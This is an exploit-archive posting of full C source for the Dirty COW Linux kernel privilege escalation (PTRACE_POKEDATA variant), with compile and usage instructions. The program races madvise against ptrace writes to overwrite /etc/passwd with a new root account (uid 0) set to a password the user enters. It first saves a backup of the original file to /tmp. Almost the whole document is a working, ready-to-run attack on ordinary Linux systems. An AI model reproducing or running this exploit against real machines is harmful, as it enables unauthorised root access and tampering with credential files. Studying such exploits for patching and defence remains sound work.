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Linux Kernel Dirty COW PTRACE_POKEDATA Privilege Escalation

Posted on 29 November 2016

//
// This exploit uses the pokemon exploit as a base and automatically
// generates a new passwd line. The original /etc/passwd is then
// backed up to /tmp/passwd.bak and overwritten with the new line.
// The user will be prompted for the new password when the binary is run.
// After running the exploit you should be able to login with the newly
// created user.
//
// Original exploit:
// https://github.com/dirtycow/dirtycow.github.io/blob/master/pokemon.c
//
// To use this exploit modify the user values according to your needs
//
// Compile with
//
// gcc -pthread dirty.c -o dirty -lcrypt
//
// and just run the newly create binary with ./dirty
//
// DON'T FORGET TO RESTORE YOUR /etc/passwd AFTER RUNNING THE EXPLOIT !
//
// Exploit adopted by Christian "FireFart" Mehlmauer
// https://firefart.at
//

#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <stdio.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <stdlib.h>
#include <unistd.h>
#include <crypt.h>

const char *filename = "/etc/passwd";
const char *backup_filename = "/tmp/passwd.bak";
const char *salt = "firefart";

int f;
void *map;
pid_t pid;
pthread_t pth;
struct stat st;

struct Userinfo {
char *username;
char *hash;
int user_id;
int group_id;
char *info;
char *home_dir;
char *shell;
};

char *generate_password_hash(char *plaintext_pw) {
return crypt(plaintext_pw, salt);
}

char *generate_passwd_line(struct Userinfo u) {
const char *format = "%s:%s:%d:%d:%s:%s:%s
";
int size = snprintf(NULL, 0, format, u.username, u.hash,
u.user_id, u.group_id, u.info, u.home_dir, u.shell);
char *ret = malloc(size + 1);
sprintf(ret, format, u.username, u.hash, u.user_id,
u.group_id, u.info, u.home_dir, u.shell);
return ret;
}

void *madviseThread(void *arg) {
int i, c = 0;
for(i = 0; i < 200000000; i++) {
c += madvise(map, 100, MADV_DONTNEED);
}
printf("madvise %d

", c);
}

int copy_file(const char *from, const char *to) {
// check if target file already exists
if(access(to, F_OK) != -1) {
printf("File %s already exists! Please delete it and run again
",
to);
return -1;
}

char ch;
FILE *source, *target;

source = fopen(from, "r");
if(source == NULL) {
return -1;
}
target = fopen(to, "w");
if(target == NULL) {
fclose(source);
return -1;
}

while((ch = fgetc(source)) != EOF) {
fputc(ch, target);
}

printf("%s successfully backed up to %s
",
from, to);

fclose(source);
fclose(target);

return 0;
}

int main(int argc, char *argv[])
{
// backup file
int ret = copy_file(filename, backup_filename);
if (ret != 0) {
exit(ret);
}

struct Userinfo user;
// set values, change as needed
user.username = "firefart";
user.user_id = 0;
user.group_id = 0;
user.info = "pwned";
user.home_dir = "/root";
user.shell = "/bin/bash";

char *plaintext_pw = getpass("Please enter new password: ");
user.hash = generate_password_hash(plaintext_pw);
char *complete_passwd_line = generate_passwd_line(user);
printf("Complete line:
%s
", complete_passwd_line);

f = open(filename, O_RDONLY);
fstat(f, &st);
map = mmap(NULL,
st.st_size + sizeof(long),
PROT_READ,
MAP_PRIVATE,
f,
0);
printf("mmap: %lx
",(unsigned long)map);
pid = fork();
if(pid) {
waitpid(pid, NULL, 0);
int u, i, o, c = 0;
int l=strlen(complete_passwd_line);
for(i = 0; i < 10000/l; i++) {
for(o = 0; o < l; o++) {
for(u = 0; u < 10000; u++) {
c += ptrace(PTRACE_POKETEXT,
pid,
map + o,
*((long*)(complete_passwd_line + o)));
}
}
}
printf("ptrace %d
",c);
}
else {
pthread_create(&pth,
NULL,
madviseThread,
NULL);
ptrace(PTRACE_TRACEME);
kill(getpid(), SIGSTOP);
pthread_join(pth,NULL);
}

printf("Done! Check %s to see if the new user was created
", filename);
printf("You can log in with username %s and password %s.

",
user.username, plaintext_pw);
printf("
DON'T FORGET TO RESTORE %s FROM %s !!!

",
filename, backup_filename);
return 0;
}

 

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